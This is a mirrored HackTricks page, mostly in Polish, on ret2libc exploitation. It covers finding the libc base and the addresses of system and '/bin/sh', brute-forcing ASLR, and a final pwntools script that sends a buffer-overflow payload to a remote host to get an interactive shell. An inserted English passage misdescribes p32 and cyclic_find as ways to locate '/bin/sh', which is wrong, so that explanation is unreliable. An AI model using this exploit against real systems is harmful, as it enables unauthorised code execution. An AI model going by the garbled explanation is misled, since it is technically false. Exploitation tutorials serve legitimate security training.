mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 09:29:59 +00:00
127 lines
5.9 KiB
Markdown
127 lines
5.9 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
|
|
|
|
**Jeśli znalazłeś podatny plik binarny i sądzisz, że możesz go wykorzystać za pomocą Ret2Lib, tutaj znajdziesz kilka podstawowych kroków, które możesz podjąć.**
|
|
|
|
# Jeśli jesteś **wewnątrz** **hosta**
|
|
|
|
## Możesz znaleźć **adres lib**c
|
|
```bash
|
|
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
|
```
|
|
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
|
|
```bash
|
|
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
|
```
|
|
## Uzyskaj przesunięcie funkcji systemowej
|
|
|
|
To uzyskać przesunięcie funkcji systemowej, możemy użyć narzędzia `objdump`. Narzędzie to analizuje plik wykonywalny i wyświetla informacje o sekcjach, symbolach i funkcjach w pliku.
|
|
|
|
Aby uzyskać przesunięcie funkcji systemowej, wykonaj następujące kroki:
|
|
|
|
1. Uruchom polecenie `objdump -T <nazwa_pliku>` w terminalu, gdzie `<nazwa_pliku>` to nazwa pliku wykonywalnego, w którym chcemy znaleźć przesunięcie funkcji systemowej.
|
|
|
|
2. Przeszukaj wynik polecenia `objdump` w poszukiwaniu funkcji systemowej, której przesunięcie chcemy znaleźć. Możesz to zrobić, szukając nazwy funkcji systemowej, na przykład `system`.
|
|
|
|
3. Znajdź wiersz, który zawiera nazwę funkcji systemowej i przesunięcie. Przesunięcie będzie znajdować się w kolumnie po prawej stronie.
|
|
|
|
Przykładowy wynik polecenia `objdump -T <nazwa_pliku>` może wyglądać tak:
|
|
|
|
```
|
|
...
|
|
00000000004005e0 g DF .text 0000000000000013 Base system
|
|
...
|
|
```
|
|
|
|
W tym przykładzie przesunięcie funkcji systemowej wynosi `00000000004005e0`.
|
|
```bash
|
|
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
|
```
|
|
To get the offset of "/bin/sh", we can use the `pwn` module in Python. The `pwn` module provides a function called `p32` that converts an integer to a little-endian byte string. We can use this function to convert the address of "/bin/sh" to a byte string and then find its offset in the payload.
|
|
|
|
Here is an example code snippet to calculate the offset:
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
# Address of "/bin/sh"
|
|
bin_sh_addr = 0x12345678
|
|
|
|
# Convert the address to a little-endian byte string
|
|
bin_sh_bytes = p32(bin_sh_addr)
|
|
|
|
# Find the offset of "/bin/sh" in the payload
|
|
offset = cyclic_find(bin_sh_bytes)
|
|
|
|
print("Offset of \"/bin/sh\":", offset)
|
|
```
|
|
|
|
Replace `0x12345678` with the actual address of "/bin/sh" in your target binary. After running the code, it will print the offset of "/bin/sh" in the payload.
|
|
```bash
|
|
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
|
```
|
|
## /proc/\<PID>/maps
|
|
|
|
Jeśli proces tworzy **dzieci** za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj **odczytać** ten plik (prawdopodobnie będziesz musiał być rootem).
|
|
|
|
Tutaj możesz znaleźć **dokładne miejsce, w którym jest załadowana biblioteka libc** wewnątrz procesu i **gdzie będzie załadowana** dla każdego dziecka procesu.
|
|
|
|
![](<../../.gitbook/assets/image (95).png>)
|
|
|
|
W tym przypadku jest załadowana pod adresem **0xb75dc000** (Będzie to adres bazowy biblioteki libc)
|
|
|
|
## Używając gdb-peda
|
|
|
|
Uzyskaj adres funkcji **system**, funkcji **exit** i ciągu znaków **"/bin/sh"** za pomocą gdb-peda:
|
|
```
|
|
p system
|
|
p exit
|
|
find "/bin/sh"
|
|
```
|
|
# Omijanie ASLR
|
|
|
|
Możesz spróbować bruteforce'ować adres bazowy libc.
|
|
```python
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
```
|
|
# Kod
|
|
```python
|
|
from pwn import *
|
|
|
|
c = remote('192.168.85.181',20002)
|
|
c.recvline() #Banner
|
|
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
p = ""
|
|
p += p32(off + 0x0003cb20) #system
|
|
p += "CCCC" #GARBAGE
|
|
p += p32(off + 0x001388da) #/bin/sh
|
|
payload = 'A'*0x20010 + p
|
|
c.send(payload)
|
|
c.interactive() #?
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|